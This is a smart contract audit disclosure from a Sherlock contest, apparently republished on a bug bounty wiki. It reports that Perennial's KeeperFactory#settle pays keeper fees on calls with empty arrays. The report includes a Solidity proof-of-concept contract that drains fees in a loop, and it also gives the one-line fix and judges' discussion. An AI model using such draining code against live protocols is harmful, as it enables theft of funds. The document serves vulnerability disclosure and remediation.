Attacker can call `KeeperFactory#settle` with empty arrays as input parameters to steal all keeper fees
The KeeperFactory#settle function does not check for empty input arrays, so an attacker can call it with empty arrays and still receive a keeper fee. By repeating this in a loop, an attacker could drain all keeper fees from the protocol.
Emmanuel Follow with rvierdiiev
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2023-10-perennial-judging/issues/50
Found by
Emmanuel, rvierdiiev
Summary
Anyone can call KeeperFactory#request, inputting empty arrays as parameters, and the call will succeed, and the caller receives a fee.
Attacker can perform this attack many times within a loop to steal ALL keeper fees from protocol.
Vulnerability Detail
Expected Workflow:
- User calls
Market#updateto open a new position - Market calls
Oracle#requestto request a new oracleVersion- The User's account gets added to a callback array of the market
- Once new oracleVersion gets committed, keepers can call
KeeperFactory#settle, which will callMarket#updateon accounts in the Market's callback array, and pay the keeper(i.e. caller) a fee.
The issue:
Here is KeeperFactory#settle function:
function settle(bytes32[] memory ids, IMarket[] memory markets, uint256[] memory versions, uint256[] memory maxCounts)
external
keep(settleKeepConfig(), msg.data, 0, "")
{
if (
ids.length != markets.length ||
ids.length != versions.length ||
ids.length != maxCounts.length ||
// Prevent calldata stuffing
abi.encodeCall(KeeperFactory.settle, (ids, markets, versions, maxCounts)).length != msg.data.length
)
revert KeeperFactoryInvalidSettleError();
for (uint256 i; i < ids.length; i++)
IKeeperOracle(address(oracles[ids[i]])).settle(markets[i], versions[i], maxCounts[i]);
}
As we can see, function does not check if the length of the array is 0, so if user inputs empty array, the for loop will not be entered, but the keeper still receives a fee via the keep modifier.
Attacker can have a contract perform the attack multiple times in a loop to drain all fees:
interface IKeeperFactory{
function settle(bytes32[] memory ids,IMarket[] memory markets,uint256[] memory versions,uint256[] memory maxCounts
) external;
}
interface IMarket(
function update()external;
)
contract AttackContract{
address public attacker;
address public keeperFactory;
IERC20 public keeperToken;
constructor(address perennialDeployedKeeperFactory, IERC20 _keeperToken){
attacker=msg.sender;
keeperFactory=perennialDeployedKeeperFactory;
keeperToken=_keeperToken;
}
function attack()external{
require(msg.sender==attacker,"not allowed");
bool canSteal=true;
// empty arrays as parameters
bytes32[] memory ids=[];
IMarket[] memory markets=[];
uint256[] versions=[];
uint256[] maxCounts=[];
// perform attack in a loop till all funds are drained or call reverts
while(canSteal){
try IKeeperFactory(keeperFactory).settle(ids,markets,versions,maxCounts){
//
}catch{
canSteal=false;
}
}
keeperToken.transfer(msg.sender, keeperToken.balanceOf(address(this)));
}
}
Impact
All keeper fees can be stolen from protocol, and there will be no way to incentivize Keepers to commitRequested oracle version, and other keeper tasks
Code Snippet
Tool used
Manual Review
Recommendation
Within KeeperFactory#settle function, revert if ids.length==0:
function settle(
bytes32[] memory ids,
IMarket[] memory markets,
uint256[] memory versions,
uint256[] memory maxCounts
)external keep(settleKeepConfig(), msg.data, 0, "") {
if (
++++ ids.length==0 ||
ids.length != markets.length ||
ids.length != versions.length ||
ids.length != maxCounts.length ||
// Prevent calldata stuffing
abi.encodeCall(KeeperFactory.settle, (ids, markets, versions, maxCounts)).length != msg.data.length
) revert KeeperFactoryInvalidSettleError();
for (uint256 i; i < ids.length; i++)
IKeeperOracle(address(oracles[ids[i]])).settle(markets[i], versions[i], maxCounts[i]);
}
Discussion
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
panprog commented:
medium, dup of #9
arjun-io
We might consider this a High due to the fact that draining the oracle fee could brick markets pretty quickly (potentially in 1 tx)
panprog
Mitigation Review:
Fixed.
MLON33
Fix: https://github.com/equilibria-xyz/perennial-v2/pull/167
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
All keeper fees could be stolen, removing the incentive for keepers to perform tasks such as committing requested oracle versions.
What the attacker needed
Ability to deploy a contract; keeper fee pool has funds
The fix
The function was fixed by reverting when the ids array length is zero.
How it was found
- Attacker deploys a contract that calls KeeperFactory#settle with empty arrays.
- The call succeeds because the length check does not reject zero-length arrays.
- The keep modifier pays the keeper fee to the attacker's contract.
- The attacker repeats the call in a loop until all fees are drained or the call reverts.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Smart contracts often pay a fee to anyone who performs a needed task, like settling accounts. Here, the function that pays the fee did not check that the caller actually did any work. An attacker could call it with empty lists, do nothing, and still get paid repeatedly until the fee pool was empty.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.